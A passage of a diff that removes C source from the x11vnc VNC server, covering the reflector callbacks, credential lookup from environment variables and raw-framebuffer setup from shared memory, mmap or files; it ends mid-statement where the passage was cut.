-void vnc_reflect_bell(rfbClient *cl) {
- if (cl) {}
- if (sound_bell) {
- if (unixpw_in_progress) {
- return;
- }
- if (! all_clients_initialized()) {
- rfbLog("vnc_reflect_bell: not sending bell: "
- "uninitialized clients\n");
- } else {
- if (screen && client_count) {
- rfbSendBell(screen);
- }
- }
- }
-}
-
-void vnc_reflect_recv_cuttext(rfbClient *cl, const char *str, int len) {
- if (cl) {}
- if (unixpw_in_progress) {
- return;
- }
- if (! watch_selection) {
- return;
- }
- if (! all_clients_initialized()) {
- rfbLog("vnc_reflect_recv_cuttext: no send: uninitialized clients\n");
- return; /* some clients initializing, cannot send */
- }
- rfbSendServerCutText(screen, (char *)str, len);
-}
-
-void vnc_reflect_got_update(rfbClient *cl, int x, int y, int w, int h) {
- if (cl) {}
- if (use_xdamage) {
- static int first = 1;
- if (first) {
- collect_non_X_xdamage(-1, -1, -1, -1, 0);
- first = 0;
- }
- collect_non_X_xdamage(x, y, w, h, 1);
- }
-}
-
-void vnc_reflect_got_cursorshape(rfbClient *cl, int xhot, int yhot, int width, int height, int bytesPerPixel) {
- static int serial = 1;
- int i, j;
- char *pixels = NULL;
- unsigned long r, g, b;
- unsigned int ui = 0;
- unsigned long red_mask, green_mask, blue_mask;
-
- if (cl) {}
- if (unixpw_in_progress) {
- return;
- }
- if (! all_clients_initialized()) {
- rfbLog("vnc_reflect_got_copyshape: no send: uninitialized clients\n");
- return; /* some clients initializing, cannot send */
- }
- if (! client->rcSource) {
- return;
- }
- if (bytesPerPixel != 1 && bytesPerPixel != 2 && bytesPerPixel != 4) {
- return;
- }
-
- red_mask = (client->format.redMax << client->format.redShift);
- green_mask = (client->format.greenMax << client->format.greenShift);
- blue_mask = (client->format.blueMax << client->format.blueShift);
-
- pixels = (char *)malloc(4*width*height);
- for (j=0; j<height; j++) {
- for (i=0; i<width; i++) {
- unsigned int* uip;
- unsigned char* uic;
- int m;
- if (bytesPerPixel == 1) {
- unsigned char* p = (unsigned char *) client->rcSource;
- ui = (unsigned long) *(p + j * width + i);
- } else if (bytesPerPixel == 2) {
- unsigned short* p = (unsigned short *) client->rcSource;
- ui = (unsigned long) *(p + j * width + i);
- } else if (bytesPerPixel == 4) {
- unsigned int* p = (unsigned int *) client->rcSource;
- ui = (unsigned long) *(p + j * width + i);
- }
- r = (red_mask & ui) >> client->format.redShift;
- g = (green_mask & ui) >> client->format.greenShift;
- b = (blue_mask & ui) >> client->format.blueShift;
-
- r = (255 * r) / client->format.redMax;
- g = (255 * g) / client->format.greenMax;
- b = (255 * b) / client->format.blueMax;
-
- ui = (r << 16 | g << 8 | b << 0) ;
-
- uic = (unsigned char *)client->rcMask;
- m = (int) *(uic + j * width + i);
- if (m) {
- ui |= 0xff000000;
- }
- uip = (unsigned int *)pixels;
- *(uip + j * width + i) = ui;
- }
- }
-
- store_cursor(serial++, (unsigned long*) pixels, width, height, 32, xhot, yhot);
- free(pixels);
- set_cursor(cursor_x, cursor_y, get_which_cursor());
-}
-
-rfbBool vnc_reflect_cursor_pos(rfbClient *cl, int x, int y) {
- if (cl) {}
- if (debug_pointer) {
- rfbLog("vnc_reflect_cursor_pos: %d %d\n", x, y);
- }
- if (unixpw_in_progress) {
- if (debug_pointer) {
- rfbLog("vnc_reflect_cursor_pos: unixpw_in_progress%d\n", unixpw_in_progress);
- }
- return TRUE;
- }
- if (! all_clients_initialized()) {
- rfbLog("vnc_reflect_cursor_pos: no send: uninitialized clients\n");
- return TRUE; /* some clients initializing, cannot send */
- }
-
- cursor_position(x, y);
- set_cursor(x, y, get_which_cursor());
-
- return TRUE;
-}
-
-static void from_libvncclient_CopyRectangleFromRectangle(rfbClient* client, int src_x, int src_y, int w, int h, int dest_x, int dest_y) {
- int i,j;
-
-#define COPY_RECT_FROM_RECT(BPP) \
- { \
- uint##BPP##_t* _buffer=((uint##BPP##_t*)client->frameBuffer)+(src_y-dest_y)*client->width+src_x-dest_x; \
- if (dest_y < src_y) { \
- for(j = dest_y*client->width; j < (dest_y+h)*client->width; j += client->width) { \
- if (dest_x < src_x) { \
- for(i = dest_x; i < dest_x+w; i++) { \
- ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \
- } \
- } else { \
- for(i = dest_x+w-1; i >= dest_x; i--) { \
- ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \
- } \
- } \
- } \
- } else { \
- for(j = (dest_y+h-1)*client->width; j >= dest_y*client->width; j-=client->width) { \
- if (dest_x < src_x) { \
- for(i = dest_x; i < dest_x+w; i++) { \
- ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \
- } \
- } else { \
- for(i = dest_x+w-1; i >= dest_x; i--) { \
- ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \
- } \
- } \
- } \
- } \
- }
-
- switch(client->format.bitsPerPixel) {
- case 8: COPY_RECT_FROM_RECT(8); break;
- case 16: COPY_RECT_FROM_RECT(16); break;
- case 32: COPY_RECT_FROM_RECT(32); break;
- default:
- rfbClientLog("Unsupported bitsPerPixel: %d\n",client->format.bitsPerPixel);
- }
-}
-
-void vnc_reflect_got_copyrect(rfbClient *cl, int src_x, int src_y, int w, int h, int dest_x, int dest_y) {
- sraRegionPtr reg;
- int dx, dy, rc = -1;
- static int last_dx = 0, last_dy = 0;
- if (cl) {}
- if (unixpw_in_progress) {
- return;
- }
- if (! all_clients_initialized()) {
- rfbLog("vnc_reflect_got_copyrect: no send: uninitialized clients\n");
- return; /* some clients initializing, cannot send */
- }
- dx = dest_x - src_x;
- dy = dest_y - src_y;
- if (dx != last_dx || dy != last_dy) {
- rc = fb_push_wait(0.05, FB_COPY|FB_MOD);
- }
- if (0) fprintf(stderr, "vnc_reflect_got_copyrect: %03dx%03d+%03d+%03d %3d %3d rc=%d\n", dest_x, dest_y, w, h, dx, dy, rc);
- reg = sraRgnCreateRect(dest_x, dest_y, dest_x + w, dest_y + h);
- do_copyregion(reg, dx, dy, 0);
- sraRgnDestroy(reg);
-
- last_dx = dx;
- last_dy = dy;
-
- from_libvncclient_CopyRectangleFromRectangle(cl, src_x, src_y, w, h, dest_x, dest_y);
-}
-
-rfbBool vnc_reflect_resize(rfbClient *cl) {
- static int first = 1;
- if(cl->frameBuffer) {
- free(cl->frameBuffer);
- }
- cl->frameBuffer= malloc(cl->width * cl->height * cl->format.bitsPerPixel/8);
- rfbLog("vnc_reflect_resize: %dx%dx%d first=%d\n", cl->width, cl->height,
- cl->format.bitsPerPixel, first);
- if (!first) {
- do_new_fb(1);
- }
- first = 0;
- return cl->frameBuffer ? TRUE : FALSE;
-}
-
-#ifdef rfbCredentialTypeX509
-static rfbCredential* vnc_reflect_get_credential(rfbClient* client, int type) {
- char *pass = getenv("X11VNC_REFLECT_PASSWORD");
- char *user = getenv("X11VNC_REFLECT_USER");
- char *cert = getenv("X11VNC_REFLECT_CACERT");
- char *ccrl = getenv("X11VNC_REFLECT_CACRL");
- char *clic = getenv("X11VNC_REFLECT_CLIENTCERT");
- char *clik = getenv("X11VNC_REFLECT_CLIENTKEY");
- int db = 0;
- if (client) {}
-if (db) fprintf(stderr, "type: %d\n", type);
-#ifdef rfbCredentialTypeUser
- if (type == rfbCredentialTypeUser) {
- if (!pass && !user) {
- return NULL;
- } else {
- rfbCredential *rc = (rfbCredential *) calloc(sizeof(rfbCredential), 1);
- rc->userCredential.username = (user ? strdup(user) : NULL);
- rc->userCredential.password = (pass ? strdup(pass) : NULL);
- return rc;
- }
- }
-#endif
- if (type == rfbCredentialTypeX509) {
-if (db) fprintf(stderr, "cert: %s\n", cert);
-if (db) fprintf(stderr, "ccrl: %s\n", ccrl);
-if (db) fprintf(stderr, "clic: %s\n", clic);
-if (db) fprintf(stderr, "clik: %s\n", clik);
- if (!cert && !ccrl && !clic && !clik) {
- return NULL;
- } else {
- rfbCredential *rc = (rfbCredential *) calloc(sizeof(rfbCredential), 1);
- rc->x509Credential.x509CACertFile = (cert ? strdup(cert) : NULL);
- rc->x509Credential.x509CACrlFile = (ccrl ? strdup(ccrl) : NULL);
- rc->x509Credential.x509ClientCertFile = (clic ? strdup(clic) : NULL);
- rc->x509Credential.x509ClientKeyFile = (clik ? strdup(clik) : NULL);
- return rc;
- }
- }
- return NULL;
-}
-#endif
-
-static char* vnc_reflect_get_password(rfbClient* client) {
- char *q, *p, *str = getenv("X11VNC_REFLECT_PASSWORD");
- int len = 110;
-
- if (client) {}
-
- if (str) {
- len += 2*strlen(str);
- }
- p = (char *) calloc(len, 1);
- if (!str || strlen(str) == 0) {
- fprintf(stderr, "VNC Reflect Password: ");
- fgets(p, 100, stdin);
- } else {
- if (strstr(str, "file:") == str) {
- FILE *f = fopen(str + strlen("file:"), "r");
- if (f) {
- fgets(p, 100, f);
- fclose(f);
- }
- }
- if (p[0] == '\0') {
- strncpy(p, str, 100);
- }
- }
- q = p;
- while (*q != '\0') {
- if (*q == '\n') {
- *q = '\0';
- }
- q++;
- }
- return p;
-}
-
-char *vnc_reflect_guess(char *str, char **raw_fb_addr) {
-
- static int first = 1;
- char *hp = str + strlen("vnc:");
- char *at = NULL;
- int argc = 0, i;
- char *argv[16];
- char str2[256];
- char *str0 = strdup(str);
-
- if (client == NULL) {
- int bitsPerSample = 8;
- int samplesPerPixel = 3;
- int bytesPerPixel = 4;
- char *s;
- s = getenv("X11VNC_REFLECT_bitsPerSample");
- if (s) bitsPerSample = atoi(s);
- s = getenv("X11VNC_REFLECT_samplesPerPixel");
- if (s) samplesPerPixel = atoi(s);
- s = getenv("X11VNC_REFLECT_bytesPerPixel");
- if (s) bytesPerPixel = atoi(s);
- rfbLog("rfbGetClient(bitsPerSample=%d, samplesPerPixel=%d, bytesPerPixel=%d)\n",
- bitsPerSample, samplesPerPixel, bytesPerPixel);
- client = rfbGetClient(bitsPerSample, samplesPerPixel, bytesPerPixel);
- }
-
- rfbLog("rawfb: %s\n", str);
-
- at = strchr(hp, '@');
- if (at) {
- *at = '\0';
- at++;
- }
-
- client->appData.useRemoteCursor = TRUE;
- client->canHandleNewFBSize = TRUE;
-
- client->HandleCursorPos = vnc_reflect_cursor_pos;
- client->GotFrameBufferUpdate = vnc_reflect_got_update;
- client->MallocFrameBuffer = vnc_reflect_resize;
- client->Bell = vnc_reflect_bell;
-#if 0
- client->SoftCursorLockArea = NULL;
- client->SoftCursorUnlockScreen = NULL;
- client->FinishedFrameBufferUpdate = NULL;
- client->HandleKeyboardLedState = NULL;
- client->HandleTextChat = NULL;
-#endif
- client->GotXCutText = vnc_reflect_recv_cuttext;
- client->GotCursorShape = vnc_reflect_got_cursorshape;
- client->GotCopyRect = vnc_reflect_got_copyrect;
-
- if (getenv("X11VNC_REFLECT_PASSWORD")) {
- client->GetPassword = vnc_reflect_get_password;
- }
-#ifdef rfbCredentialTypeX509
- client->GetCredential = NULL;
- if (0 || getenv("LIBVNCCLIENT_GET_CREDENTIAL")) {
- client->GetCredential = vnc_reflect_get_credential;
- }
-#endif
-
- if (first) {
- argv[argc++] = "x11vnc_rawfb_vnc";
- if (strstr(hp, "listen") == hp) {
- char *q = strrchr(hp, ':');
- argv[argc++] = strdup("-listen");
- if (q) {
- client->listenPort = atoi(q+1);
- } else {
- client->listenPort = LISTEN_PORT_OFFSET;
- }
- } else {
- argv[argc++] = strdup(hp);
- }
-
- if (! rfbInitClient(client, &argc, argv)) {
- rfbLog("vnc_reflector failed for: %s\n", str0);
- clean_up_exit(1);
- }
- }
-
- if (at) {
- sprintf(str2, "map:/dev/null@%s", at);
- } else {
- unsigned long red_mask, green_mask, blue_mask;
- red_mask = (client->format.redMax << client->format.redShift);
- green_mask = (client->format.greenMax << client->format.greenShift);
- blue_mask = (client->format.blueMax << client->format.blueShift);
- sprintf(str2, "map:/dev/null@%dx%dx%d:0x%lx/0x%lx/0x%lx",
- client->width, client->height, client->format.bitsPerPixel,
- red_mask, green_mask, blue_mask);
- }
- *raw_fb_addr = (char *) client->frameBuffer;
- free(str0);
-
- if (first) {
- setup_cursors_and_push();
-
- for (i=0; i<10; i++) {
- vnc_reflect_process_client();
- }
- }
- first = 0;
-
- return strdup(str2);
-}
-
-rfbBool vnc_reflect_send_pointer(int x, int y, int mask) {
- int rc;
- if (mask >= 0) {
- got_user_input++;
- got_pointer_input++;
- last_pointer_time = time(NULL);
- }
-
- if (clipshift) {
- x += coff_x;
- y += coff_y;
- }
-
- if (cursor_x != x || cursor_y != y) {
- last_pointer_motion_time = dnow();
- }
-
- cursor_x = x;
- cursor_y = y;
-
- /* record the x, y position for the rfb screen as well. */
- cursor_position(x, y);
-
- /* change the cursor shape if necessary */
- rc = set_cursor(x, y, get_which_cursor());
- cursor_changes += rc;
-
- return SendPointerEvent(client, x, y, mask);
-}
-
-rfbBool vnc_reflect_send_key(uint32_t key, rfbBool down) {
- return SendKeyEvent(client, key, down);
-}
-
-rfbBool vnc_reflect_send_cuttext(char *str, int len) {
- return SendClientCutText(client, str, len);
-}
-
-void vnc_reflect_process_client(void) {
- int num;
- if (client == NULL) {
- return;
- }
- num = WaitForMessage(client, 1000);
- if (num > 0) {
- if (!HandleRFBServerMessage(client)) {
- rfbLog("vnc_reflect_process_client: read failure to server\n");
- shut_down = 1;
- }
- }
-}
-
-void linux_dev_fb_msg(char* q) {
- if (strstr(q, "/dev/fb") && strstr(UT.sysname, "Linux")) {
- rfbLog("\n");
- rfbLog("On Linux you may need to load a kernel module to enable\n");
- rfbLog("the framebuffer device /dev/fb*; e.g.:\n");
- rfbLog(" vga=0x303 (and others) kernel boot parameter\n");
- rfbLog(" modprobe uvesafb\n");
- rfbLog(" modprobe radeonfb (card specific)\n");
- rfbLog(" modprobe nvidiafb (card specific, others)\n");
- rfbLog(" modprobe vesafb (?)\n");
- rfbLog(" modprobe vga16fb\n");
- rfbLog("\n");
- rfbLog("You may also need root permission to open /dev/fb*\n");
- rfbLog("and/or /dev/tty*.\n");
- rfbLog("\n");
- }
-}
-
-#define RAWFB_MMAP 1
-#define RAWFB_FILE 2
-#define RAWFB_SHM 3
-
-XImage *initialize_raw_fb(int reset) {
- char *str, *rstr, *q;
- int w, h, b, shmid = 0;
- unsigned long rm = 0, gm = 0, bm = 0, tm;
- static XImage ximage_struct; /* n.b.: not (XImage *) */
- static XImage ximage_struct_snap;
- int closedpy = 1, i, m, db = 0;
- int do_macosx = 0;
- int do_reflect = 0;
- char *unlink_me = NULL;
-
- static char *last_file = NULL;
- static int last_mode = 0;
-
- if (reset && last_mode) {
- int fd;
- if (last_mode != RAWFB_MMAP && last_mode != RAWFB_FILE) {
- return NULL;
- }
- if (last_mode == RAWFB_MMAP) {
- munmap(raw_fb_addr, raw_fb_mmap);
- }
- if (raw_fb_fd >= 0) {
- close(raw_fb_fd);
- }
- raw_fb_fd = -1;
-if (db) fprintf(stderr, "initialize_raw_fb reset\n");
-
- fd = -1;
- if (rawfb_dev_video) {
- fd = open(last_file, O_RDWR);
- }
- if (fd < 0) {
- fd = open(last_file, O_RDONLY);
- }
- if (fd < 0) {
- rfbLogEnable(1);
- rfbLog("failed to rawfb file: %s\n", last_file);
- rfbLogPerror("open");
- clean_up_exit(1);
- }
- raw_fb_fd = fd;
- if (last_mode == RAWFB_MMAP) {
- raw_fb_addr = mmap(0, raw_fb_mmap, PROT_READ,
- MAP_SHARED, fd, 0);
-
- if (raw_fb_addr == MAP_FAILED || raw_fb_addr == NULL) {
- rfbLogEnable(1);
- rfbLog("failed to mmap file: %s\n", last_file);
- rfbLog(" raw_fb_addr: %p\n", raw_fb_addr);
- rfbLogPerror("mmap");
- clean_up_exit(1);
- }
- }
- return NULL;
- }
-
-#ifdef MACOSX
- if (raw_fb_addr != NULL && macosx_console && raw_fb_addr == macosx_get_fb_addr()) {
- raw_fb_addr = NULL;
- }
-#endif
-
- if (raw_fb_addr || raw_fb_seek) {
- if (raw_fb_shm) {
- shmdt(raw_fb_addr);
-#if LIBVNCSERVER_HAVE_MMAP
- } else if (raw_fb_mmap) {
- munmap(raw_fb_addr, raw_fb_mmap);
- if (raw_fb_fd >= 0) {
- close(raw_fb_fd);
- }
- raw_fb_fd = -1;
-#endif
- } else if (raw_fb_seek) {
- if (raw_fb_fd >= 0) {
- close(raw_fb_fd);
- }
- raw_fb_fd = -1;
- }
- raw_fb_addr = NULL;
- raw_fb_mmap = 0;
- raw_fb_seek = 0;
- }
- if (! raw_fb_str) {
- return NULL;
- }
-
- if (raw_fb_str[0] == '+') {
- rstr = strdup(raw_fb_str+1);
- closedpy = 0;
- if (! window) {
- window = rootwin;
- }
- } else {
- rstr = strdup(raw_fb_str);
- }
-
- /* testing aliases */
- if (!strcasecmp(rstr, "NULL") || !strcasecmp(rstr, "ZERO")
- || !strcasecmp(rstr, "NONE")) {
- rstr = strdup("map:/dev/zero@640x480x32");
- } else if (!strcasecmp(rstr, "NULLBIG") || !strcasecmp(rstr, "NONEBIG")) {
- rstr = strdup("map:/dev/zero@1024x768x32");
- }
- if (!strcasecmp(rstr, "RAND")) {
- rstr = strdup("file:/dev/urandom@128x128x16");
- } else if (!strcasecmp(rstr, "RANDBIG")) {
- rstr = strdup("file:/dev/urandom@640x480x16");
- } else if (!strcasecmp(rstr, "RANDHUGE")) {
- rstr = strdup("file:/dev/urandom@1024x768x16");
- }
- if (strstr(rstr, "solid=") == rstr) {
- char *n = rstr + strlen("solid=");
- char tmp[] = "/tmp/rawfb_solid.XXXXXX";
- char str[100];
- unsigned int vals[1024], val;
- int x, y, fd, w = 1024, h = 768;
- if (strstr(n, "0x")) {
- if (sscanf(n, "0x%x", &val) != 1) {
- val = 0;
- }
- }
- if (val == 0) {
- val = get_pixel(n);
- }
- if (val == 0) {
- val = 0xFF00FF;
- }
- fd = mkstemp(tmp);
- for (y = 0; y < h; y++) {
- for (x = 0; x < w; x++) {
- vals[x] = val;
- }
- write(fd, (char *)vals, 4 * w);
- }
- close(fd);
- fd = open(tmp, O_WRONLY);
- unlink_me = strdup(tmp);
- sprintf(str, "map:%s@%dx%dx32", tmp, w, h);
- rstr = strdup(str);
- } else if (strstr(rstr, "swirl") == rstr) {
- char tmp[] = "/tmp/rawfb_swirl.XXXXXX";
- char str[100];
- unsigned int val[1024];
- unsigned int c1, c2, c3, c4;
- int x, y, fd, w = 1024, h = 768;
- fd = mkstemp(tmp);
- for (y = 0; y < h; y++) {
- for (x = 0; x < w; x++) {
- c1 = 0;
- c2 = ((x+y)*128)/(w+h);
- c3 = (x*128)/w;
- c4 = (y*256)/h;
- val[x] = (c1 << 24) | (c2 << 16) | (c3 << 8) | (c4 << 0);
- }
- write(fd, (char *)val, 4 * w);
- }
- close(fd);
- fd = open(tmp, O_WRONLY);
- unlink_me = strdup(tmp);
- sprintf(str, "map:%s@%dx%dx32", tmp, w, h);
- rstr = strdup(str);
- }
-
-
- if ( (q = strstr(rstr, "setup:")) == rstr) {
- FILE *pipe;
- char line[1024], *t;
-
- set_child_info();
- q += strlen("setup:");
- /* rawfb-setup */
- if (no_external_cmds || !cmd_ok("rawfb-setup")) {
- rfbLogEnable(1);
- rfbLog("cannot run external commands in -nocmds "
- "mode:\n");
- rfbLog(" \"%s\"\n", q);
- rfbLog(" exiting.\n");
- clean_up_exit(1);
- }
- rfbLog("running command to setup rawfb: %s\n", q);
- close_exec_fds();
- pipe = popen(q, "r");
- if (! pipe) {
- rfbLogEnable(1);
- rfbLog("popen of setup command failed.\n");
- rfbLogPerror("popen");
- clean_up_exit(1);
- }
- line[0] = '\0';
- if (fgets(line, 1024, pipe) == NULL) {
- rfbLogEnable(1);
- rfbLog("read of setup command failed.\n");
- clean_up_exit(1);
- }
- pclose(pipe);
- str = strdup(line);
- t = str;
- while (*t != '\0') {
- if (*t == '\n') {
- *t = '\0';
- }
- t++;
- }
- rfbLog("setup command returned: %s\n", str);
-
- } else {
- str = strdup(rstr);
- }
-
- raw_fb_shm = 0;
- raw_fb_mmap = 0;
- raw_fb_seek = 0;
- raw_fb_fd = -1;
- raw_fb_addr = NULL;
- raw_fb_offset = 0;
- raw_fb_bytes_per_line = 0;
- rawfb_vnc_reflect = 0;
-
- last_mode = 0;
- if (last_file) {
- free(last_file);
- last_file = NULL;
- }
- if (strstr(str, "Video") == str) {
- if (pipeinput_str != NULL) {
- free(pipeinput_str);
- }
- pipeinput_str = strdup("VID");
- initialize_pipeinput();
- str[0] = 'v';
- }
-
- if (strstr(str, "video") == str || strstr(str, "/dev/video") == str) {
- char *str2 = v4l_guess(str, &raw_fb_fd);
- if (str2 == NULL) {
- rfbLog("v4l_guess failed for: %s\n", str);
- clean_up_exit(1);
- }
- str = str2;
- rfbLog("v4l_guess returned: %s\n", str);
- rawfb_dev_video = 1;
- } else if (strstr(str, "dev/video")) {
- rawfb_dev_video = 1;
- } else if (strstr(str, "console") == str || strstr(str, "fb") == str ||
- strstr(str, "/dev/fb") == str || strstr(str, "vt") == str) {
- char *str2 = console_guess(str, &raw_fb_fd);
- if (str2 == NULL) {
- rfbLog("console_guess failed for: %s\n", str);
- clean_up_exit(1);
- }
- str = str2;
- rfbLog("console_guess returned: %s\n", str);
- } else if (strstr(str, "vnc:") == str) {
- char *str2 = vnc_reflect_guess(str, &raw_fb_addr);
-
- rawfb_vnc_reflect = 1;
- do_reflect = 1;
-
- str = str2;
- rfbLog("vnc_reflector set rawfb str to: %s\n", str);
- if (pipeinput_str == NULL) {
- pipeinput_str = strdup("VNC");
- }
- initialize_pipeinput();
- }
-
- if (closedpy && !view_only && got_noviewonly) {
- rfbLog("not closing X DISPLAY under -noviewonly option.\n");
- closedpy = 0;
- if (! window) {
- window = rootwin;
- }
- }
-
- if (! raw_fb_orig_dpy && dpy) {
- raw_fb_orig_dpy = strdup(DisplayString(dpy));
- }
-#ifndef BOLDLY_CLOSE_DISPLAY
-#define BOLDLY_CLOSE_DISPLAY 1
-#endif
-#if BOLDLY_CLOSE_DISPLAY
- if (closedpy) {
- if (dpy) {
- rfbLog("closing X DISPLAY: %s in rawfb mode.\n",
- DisplayString(dpy));
- XCloseDisplay_wr(dpy); /* yow! */
- }
- dpy = NULL;
- }
-#endif
-
- /*
- * -rawfb shm:163938442@640x480x32:ff/ff00/ff0000+3000
- * -rawfb map:/path/to/file@640x480x32:ff/ff00/ff0000
- * -rawfb file:/path/to/file@640x480x32:ff/ff00/ff0000
- */
-
- if (raw_fb_full_str) {
- free(raw_fb_full_str);
- }
- raw_fb_full_str = strdup(str);
-
-
- /* +O offset */
- if ((q = strrchr(str, '+')) != NULL) {
- if (sscanf(q, "+%d", &raw_fb_offset) == 1) {
- *q = '\0';
- } else {
- raw_fb_offset = 0;
- }
- }
- /* :R/G/B masks */
- if ((q = strrchr(str, ':')) != NULL) {
- if (sscanf(q, ":%lx/%lx/%lx", &rm, &gm, &bm) == 3) {
- *q = '\0';
- } else if (sscanf(q, ":0x%lx/0x%lx/0x%lx", &rm, &gm, &bm)== 3) {
- *q = '\0';
- } else if (sscanf(q, ":%lu/%lu/%lu", &rm, &gm, &bm) == 3) {
- *q = '\0';
- } else {
- rm = 0;
- gm = 0;
- bm = 0;
- }
- }
- if ((q = strrchr(str, '@')) == NULL) {
- rfbLogEnable(1);
- rfbLog("invalid rawfb str: %s\n", str);
- clean_up_exit(1);
- }
-
- if (strrchr(q, '-')) {
- char *q2 = strrchr(q, '-');
- raw_fb_bytes_per_line = atoi(q2+1);
- *q2 = '\0';
- }
- /* @WxHxB */
- if (sscanf(q, "@%dx%dx%d", &w, &h, &b) != 3) {
- rfbLogEnable(1);
- rfbLog("invalid rawfb str: %s\n", str);
- clean_up_exit(1);
- }
- *q = '\0';
-
- if (rm == 0 && gm == 0 && bm == 0) {
- /* guess masks... */
- if (b == 24 || b == 32) {
- rm = 0xff0000;
- gm = 0x00ff00;
- bm = 0x0000ff;
- } else if (b == 16) {
- rm = 0xf800;
- gm = 0x07e0;
- bm = 0x001f;
- } else if (b == 8) {
- rm = 0x07;
- gm = 0x38;
- bm = 0xc0;
- }
- }
- /* we can fake -flipbyteorder to some degree... */
- if (flip_byte_order) {
- if (b == 24 || b == 32) {
- tm = rm;
- rm = bm;
- bm = tm;
- } else if (b == 16) {
- unsigned short s1, s2;
- s1 = (unsigned short) rm;
- s2 = ((0xff & s1) << 8) | ((0xff00 & s1) >> 8);
- rm = (unsigned long) s2;
- s1 = (unsigned short) gm;
- s2 = ((0xff & s1) << 8) | ((0xff00 & s1) >> 8);
- gm = (unsigned long) s2;
- s1 = (unsigned short) bm;
- s2 = ((0xff & s1) << 8) | ((0xff00 & s1) >> 8);
- bm = (unsigned long) s2;
- }
- }
-
- /* native fb stuff for bpp < 8 only */
- raw_fb_native_bpp = b;
- raw_fb_native_red_mask = rm;
- raw_fb_native_green_mask = gm;
- raw_fb_native_blue_mask = bm;
- raw_fb_native_red_shift = 100;
- raw_fb_native_green_shift = 100;
- raw_fb_native_blue_shift = 100;
- raw_fb_native_red_max = 1;
- raw_fb_native_green_max = 1;
- raw_fb_native_blue_max = 1;
- m = 1;
- for (i=0; i<32; i++) {
- if (raw_fb_native_red_mask & m) {
- if (raw_fb_native_red_shift == 100) {
- raw_fb_native_red_shift = i;
- }
- raw_fb_native_red_max *= 2;
- }
- if (raw_fb_native_green_mask & m) {
- if (raw_fb_native_green_shift == 100) {
- raw_fb_native_green_shift = i;
- }
- raw_fb_native_green_max *= 2;
- }
- if (raw_fb_native_blue_mask & m) {
- if (raw_fb_native_blue_shift == 100) {
- raw_fb_native_blue_shift = i;
- }
- raw_fb_native_blue_max *= 2;
- }
- m = m << 1;
- }
- raw_fb_native_red_max -= 1;
- raw_fb_native_green_max -= 1;
- raw_fb_native_blue_max -= 1;
-
- if (b < 8) {
- /* e.g. VGA16 */
- rfbLog("raw_fb_native_bpp: %d 0x%02lx 0x%02lx 0x%02lx %d/%d/%d %d/%d/%d\n", raw_fb_native_bpp,
- raw_fb_native_red_mask, raw_fb_native_green_mask, raw_fb_native_blue_mask,
- raw_fb_native_red_max, raw_fb_native_green_max, raw_fb_native_blue_max,
- raw_fb_native_red_shift, raw_fb_native_green_shift, raw_fb_native_blue_shift);
- raw_fb_expand_bytes = 1;
- b = 8;
- rm = 0x07;
- gm = 0x38;
- bm = 0xc0;
- }
- /* end of stuff for bpp < 8 */
-
- dpy_x = wdpy_x = w;
- dpy_y = wdpy_y = h;
- off_x = 0;
- off_y = 0;
-
- if (rawfb_dev_video) {
- if (b == 24) {
- rfbLog("enabling -24to32 for 24bpp video\n");
- xform24to32 = 1;
- } else {
- if (xform24to32) {
- rfbLog("disabling -24to32 for 24bpp video\n");
- }
- xform24to32 = 0;
- }
- }
-
- if (xform24to32) {
- if (b != 24) {
- rfbLog("warning: -24to32 mode and bpp=%d\n", b);
- }
- b = 32;
- }
- if (strstr(str, "snap:") == str) {
- use_snapfb = 1;
- str[0] = 'f'; str[1] = 'i'; str[2] = 'l'; str[3] = 'e';
- }
-
- if (strstr(str, "shm:") != str && strstr(str, "mmap:") != str &&
- strstr(str, "map:") != str && strstr(str, "file:") != str) {
- /* hmmm, not following directions, see if map: applies */
- struct stat sbuf;
- if (stat(str, &sbuf) == 0) {
- char *newstr;
- int len = strlen("map:") + strlen(str) + 1;
- rfbLog("no type prefix: %s\n", raw_fb_str);
- rfbLog(" but file exists, so assuming: map:%s\n",
- raw_fb_str);
- newstr = (char *) malloc(len);
- strcpy(newstr, "map:");
- strcat(newstr, str);
- free(str);
- str = newstr;
- }
- }
-
- if (sscanf(str, "shm:%d", &shmid) == 1) {
- /* shm:N */
-#if LIBVNCSERVER_HAVE_XSHM || LIBVNCSERVER_HAVE_SHMAT
- raw_fb_addr = (char *) shmat(shmid, 0, SHM_RDONLY);
- if (! raw_fb_addr) {
- rfbLogEnable(1);
- rfbLog("failed to attach to shm: %d, %s\n", shmid, str);
- rfbLogPerror("shmat");
- clean_up_exit(1);
- }
- raw_fb_shm = 1;
- rfbLog("rawfb: shm: %d W: %d H: %d B: %d addr: %p\n",
- shmid, w, h, b, raw_fb_addr);
- last_mode = RAWFB_SHM;
-#else
- rfbLogEnable(1);
- rfbLog("x11vnc was compiled without shm support.\n");
- rfbLogPerror("shmat");
- clean_up_exit(1);
-#endif
- } else if (strstr(str, "map:") == str || strstr(str, "mmap:") == str
- || strstr(str, "file:") == str) {
- /* map:/path/... or file:/path */
- int fd, do_mmap = 1, size;
- struct stat sbuf;
-
- if (*str == 'f') {
- do_mmap = 0;
- }
- q = strchr(str, ':');
- q++;
-
- macosx_console = 0;
- if (strstr(q, "macosx:") == q) {
- /* mmap:macosx:/dev/null@... */
- q += strlen("macosx:");
- do_macosx = 1;
- do_mmap = 0;
- macosx_console = 1;
- }
-
- last_file = strdup(q);
-
- fd = raw_fb_fd;
- if (fd < 0 && rawfb_dev_video) {
- fd = open(q, O_RDWR);
- }
- if (fd < 0) {
- fd = open(q, O_RDONLY);
- }
- if (fd < 0) {
- rfbLogEnable(1);
- rfbLog("failed to open file: %s, %s\n", q, str);
- rfbLogPerror("open");
- linux_dev_fb_msg(q);
- clean_up_exit(1);
- }
- raw_fb_fd = fd;
-
- if (raw_fb_native_bpp < 8) {
- size = w*h*raw_fb_native_bpp/8 + raw_fb_offset;
- } else if (xform24to32) {
- size = w*h*24/8 + raw_fb_offset;
- } else {
- size = w*h*b/8 + raw_fb_offset;
- }
- if (fstat(fd, &sbuf) == 0) {
- if (S_ISREG(sbuf.st_mode)) {
- if (0) size = sbuf.st_size;
- } else {
- rfbLog("raw fb is non-regular file: %s\n", q);
- }
- }
-
- if (do_macosx) {
- raw_fb_addr = macosx_get_fb_addr();
- raw_fb_mmap = size;
- rfbLog("rawfb: macosx fb: %s\n", q);
- rfbLog(" w: %d h: %d b: %d addr: %p sz: %d\n", w, h,
